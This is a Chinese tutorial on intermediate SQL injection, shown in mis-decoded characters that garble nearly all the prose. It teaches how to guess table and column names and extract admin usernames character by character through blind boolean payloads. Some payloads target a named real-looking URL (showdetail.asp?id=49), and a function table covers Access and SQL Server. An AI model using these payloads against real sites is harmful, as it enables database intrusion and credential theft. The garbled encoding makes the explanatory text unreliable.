SQL×¢Èë©¶´È«½Ó´¥¡ª¡ª½ø½×ƪ

¡¶SQL×¢Èë©¶´È«½Ó´¥¡ª¡ª½ø½×ƪ¡·ÕªÒª£º ½ÓÏÂÀ´£¬ÎÒÃǾͼÌÐøÑ§Ï°ÈçºÎ´ÓÊý¾Ý¿âÖлñÈ¡ÏëÒª»ñµÃµÄÄÚÈÝ£¬Ê×ÏÈ£¬ÎÒÃÇÏÈ¿´¿´SQL×¢ÈëµÄÒ»°ã²½Ö裺 Ò»¡¢SQL×¢ÈëµÄÒ»°ã²½Öè Ê×ÏÈ£¬Åж¨»·¾³£¬Ñ°ÕÒ×¢Èëµã£¬Åж¨Êý¾Ý¿âÀàÐÍ£¬ÕâÔÚÈëÃÅÆªÒѾ­½²¹ýÁË¡¡­

½ÓÏÂÀ´£¬ÎÒÃǾͼÌÐøÑ§Ï°ÈçºÎ´ÓÊý¾Ý¿âÖлñÈ¡ÏëÒª»ñµÃµÄÄÚÈÝ£¬Ê×ÏÈ£¬ÎÒÃÇÏÈ¿´¿´SQL×¢ÈëµÄÒ»°ã²½Ö裺
Ò»¡¢SQL×¢ÈëµÄÒ»°ã²½Öè
Ê×ÏÈ£¬Åж¨»·¾³£¬Ñ°ÕÒ×¢Èëµã£¬Åж¨Êý¾Ý¿âÀàÐÍ£¬ÕâÔÚÈëÃÅÆªÒѾ­½²¹ýÁË¡£
Æä´Î£¬¸ù¾Ý×¢Èë²ÎÊýÀàÐÍ£¬ÔÚÄÔº£ÖÐÖØ¹¹SQLÓï¾äµÄԭò£¬°´²ÎÊýÀàÐÍÖ÷Òª·ÖΪÏÂÃæÈýÖÖ£º
(A) ID=49 ÕâÀà×¢ÈëµÄ²ÎÊýÊÇÊý×ÖÐÍ£¬SQLÓï¾äԭò´óÖÂÈçÏ£º
Select * from ±íÃû where ×Ö¶Î=49
×¢ÈëµÄ²ÎÊýΪID=49 And [²éѯÌõ¼þ]£¬¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where ×Ö¶Î=49 And [²éѯÌõ¼þ]
(B) Class=Á¬Ðø¾ç ÕâÀà×¢ÈëµÄ²ÎÊýÊÇ×Ö·ûÐÍ£¬SQLÓï¾äԭò´óÖ¸ÅÈçÏ£º
Select * from ±íÃû where ×Ö¶Î=¡¯Á¬Ðø¾ç¡¯
×¢ÈëµÄ²ÎÊýΪClass=Á¬Ðø¾ç¡¯ and [²éѯÌõ¼þ] and ¡®¡¯=¡¯ £¬¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where ×Ö¶Î=¡¯Á¬Ðø¾ç¡¯ and [²éѯÌõ¼þ] and ¡®¡¯=¡¯¡¯
(C) ËÑË÷ʱû¹ýÂ˲ÎÊýµÄ£¬Èçkeyword=Òªº¦×Ö£¬SQLÓï¾äԭò´óÖÂÈçÏ£º
Select * from ±íÃû where ×Ö¶Îlike ¡¯%Òªº¦×Ö%¡¯
×¢ÈëµÄ²ÎÊýΪkeyword=¡¯ and [²éѯÌõ¼þ] and ¡®%¡¯=¡¯£¬ ¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where×Ö¶Îlike ¡¯%¡¯ and [²éѯÌõ¼þ] and ¡®%¡¯=¡¯%¡¯
½Ó×Å£¬½«²éѯÌõ¼þÌæ»»³ÉSQLÓï¾ä£¬²Â½â±íÃû£¬ÀýÈ磺
ID=49 And (Select Count(*) from Admin)£¾=0
¼ÙÈçÒ³Ãæ¾ÍÓëID=49µÄÏàͬ£¬ËµÃ÷¸½¼ÓÌõ¼þ³ÉÁ¢£¬¼´±íAdmin´æÔÚ£¬·´Ö®£¬¼´²»´æÔÚ£¨ÇëÀμÇÕâÖÖ·½·¨£©¡£Èç´ËÑ­»·£¬Ö±ÖÁ²Âµ½±íÃûΪֹ¡£
±íÃû²Â³öÀ´ºó£¬½«Count(*)Ìæ»»³ÉCount(×Ö¶ÎÃû)£¬ÓÃͬÑùµÄÔ­Àí²Â½â×Ö¶ÎÃû¡£
ÓÐÈË»á˵£ºÕâÀïÓÐһЩżȻµÄ³É·Ö£¬¼ÙÈç±íÃûÆðµÃºÜ¸´ÔÓû¹æÂɵģ¬ÄǸù±¾¾ÍûµÃÍæÏÂÈ¥ÁË¡£ËµµÃºÜ¶Ô£¬ÕâÊÀ½ç¸ù±¾¾Í²»´æÔÚ100%³É¹¦µÄºÚ¿Í¼¼Êõ£¬²ÔÓ¬²»¶£ÎÞ·ìµÄµ°£¬ÎÞÂ۶༼Êõ¶à¸ßÉîµÄºÚ¿Í£¬¶¼ÊÇÒòΪ±ðÈ˵ijÌÐòдµÃ²»ÑÏÃÜ»òʹÓÃÕß±£ÃÜÒâʶ²»¹»£¬²ÅÓеÃÏÂÊÖ¡£
ÓеãÅÜÌâÁË£¬»°Ëµ»ØÀ´£¬¶ÔÓÚSQLServerµÄ¿â£¬»¹ÊÇÓа취ÈóÌÐò¸æËßÎÒÃDZíÃû¼°×Ö¶ÎÃûµÄ£¬ÎÒÃÇÔڸ߼¶ÆªÖлá×ö½éÉÜ¡£×îºó£¬ÔÚ±íÃûºÍÁÐÃû²Â½â³É¹¦ºó£¬ÔÙʹÓÃSQLÓï¾ä£¬µÃ³ö×ֶεÄÖµ£¬ÏÂÃæ½éÉÜÒ»ÖÖ×î³£Óõķ½·¨£­AsciiÖð×Ö½âÂë·¨£¬ËäÈ»ÕâÖÖ·½·¨ËٶȺÜÂý£¬µ«¿Ï¶¨ÊÇ¿ÉÐеķ½·¨¡£

ÎÒÃǾٸöÀý×Ó£¬ÒÑÖª±íAdminÖдæÔÚusername×ֶΣ¬Ê×ÏÈ£¬ÎÒÃÇÈ¡µÚÒ»Ìõ¼Ç¼£¬²âÊÔ³¤¶È£º
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)£¾0
ÏÈ˵Ã÷Ô­Àí£º¼ÙÈçtop 1µÄusername³¤¶È´óÓÚ0£¬ÔòÌõ¼þ³ÉÁ¢£»½ÓמÍÊÇ£¾1¡¢£¾2¡¢£¾3ÕâÑù²âÊÔÏÂÈ¥£¬Ò»Ö±µ½Ìõ¼þ²»³ÉÁ¢ÎªÖ¹£¬±ÈÈ磾7³ÉÁ¢£¬£¾8²»³ÉÁ¢£¬¾ÍÊÇlen(username)=8
µ±È»Ã»È˻᱿µÃ´Ó0,1,2,3Ò»¸ö¸ö²âÊÔ£¬ÔõôÑù²Å±È½Ï¿ì¾Í¿´¸÷×Ô·¢»ÓÁË¡£Ôڵõ½usernameµÄ³¤¶Èºó£¬ÓÃmid(username,N,1)½ØÈ¡µÚNλ×Ö·û£¬ÔÙasc(mid(username,N,1))µÃµ½ASCIIÂ룬±ÈÈ磺
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)£¾0
ͬÑùÒ²ÊÇÓÃÖð²½ËõС·¶Î§µÄ·½·¨µÃµ½µÚ1λ×Ö·ûµÄASCIIÂë£¬×¢ÖØµÄÊÇÓ¢ÎĺÍÊý×ÖµÄASCIIÂëÔÚ1-128Ö®¼ä£¬¿ÉÒÔÓÃÕÛ°ë·¨¼ÓËٲ½⣬¼ÙÈçд³É³ÌÐò²âÊÔ£¬Ð§ÂÊ»áÓм«´óµÄÌá¸ß¡£
¶þ¡¢SQL×¢Èë³£Óú¯Êý
ÓÐSQLÓïÑÔ»ù´¡µÄÈË£¬ÔÚSQL×¢ÈëµÄʱºò³É¹¦ÂʱȲ»ÊìϤµÄÈ˸ߺܶࡣÎÒÃÇÓбØÒªÌá¸ßÒ»ÏÂ×Ô¼ºµÄSQLˮƽ£¬·Ç·²ÊÇһЩ³£Óõĺ¯Êý¼°ÃüÁî¡£
Access£ºasc(×Ö·û) SQLServer£ºunicode(×Ö·û)
×÷Ó㺷µ»ØÄ³×Ö·ûµÄASCIIÂë
Access£ºchr(Êý×Ö) SQLServer£ºnchar(Êý×Ö)
×÷ÓãºÓëascÏà·´£¬¸ù¾ÝASCIIÂë·µ»Ø×Ö·û
Access£ºmid(×Ö·û´®,N,L) SQLServer£ºsubstring(×Ö·û´®,N,L)
×÷Ó㺷µ»Ø×Ö·û´®´ÓN¸ö×Ö·ûÆð³¤¶ÈΪLµÄ×Ó×Ö·û´®£¬¼´Nµ½N LÖ®¼äµÄ×Ö·û´®
Access£ºabc(Êý×Ö) SQLServer£ºabc (Êý×Ö)
×÷Ó㺷µ»ØÊý×ֵľø¶ÔÖµ£¨Ôڲ½⺺×ÖµÄʱºò»áÓõ½£©¡¡
Access£ºA between B And C SQLServer£ºA between B And C
×÷ÓãºÅж¨AÊÇ·ñ½çÓÚBÓëCÖ®¼ä
Èý¡¢ÖÐÎÄ´¦Àí·½·¨
ÔÚ×¢ÈëÖÐÅöµ½ÖÐÎÄ×Ö·ûÊdz£ÓеÄÊ£¬ÓÐЩÈËÒ»Åöµ½ÖÐÎÄ×Ö·û¾ÍÏë´òÍËÌùÄÁË¡£ÆäʵֻҪ¶ÔÖÐÎĵıàÂëÓÐËùÁ˽⣬¡°ÖÐÎľåÅÂÖ¢¡±ºÜ¿ì¿ÉÒÔ¿Ë·þ¡£
ÏÈ˵һµã³£Ê¶£º
AccessÖУ¬ÖÐÎĵÄASCIIÂë¿ÉÄÜ»á³öÏÖ¸ºÊý£¬È¡³ö¸Ã¸ºÊýºóÓÃabs()È¡¾ø¶ÔÖµ£¬ºº×Ö×Ö·û²»±ä¡£
SQLServerÖУ¬ÖÐÎĵÄASCIIΪÕýÊý£¬µ«ÓÉÓÚÊÇUNICODEµÄ˫λ±àÂ룬²»ÄÜÓú¯Êýascii()È¡µÃASCIIÂ룬±ØÐëÓú¯Êýunicode ()·µ»ØunicodeÖµ£¬ÔÙÓÃncharº¯ÊýÈ¡µÃ¶ÔÓ¦µÄÖÐÎÄ×Ö·û¡£
Á˽âÁËÉÏÃæµÄÁ½µãºó£¬ÊDz»ÊǾõµÃÖÐÎIJ½âÆäʵҲ¸úÓ¢ÎIJ¶àÄØ£¿³ýÁËʹÓõĺ¯ÊýÒª×¢ÖØ¡¢²Â½â·¶Î§´óÒ»µãÍ⣬·½·¨ÊÇûʲôÁ½ÑùµÄ¡£


ÄãµÄλÖ㺵çÄÔ¹ÊÕÏÍø >> Êý¾Ý¿â >> SQL Server >> SQL×¢Èë©¶´È«½Ó´¥¡ª¡ª½ø½×ƪ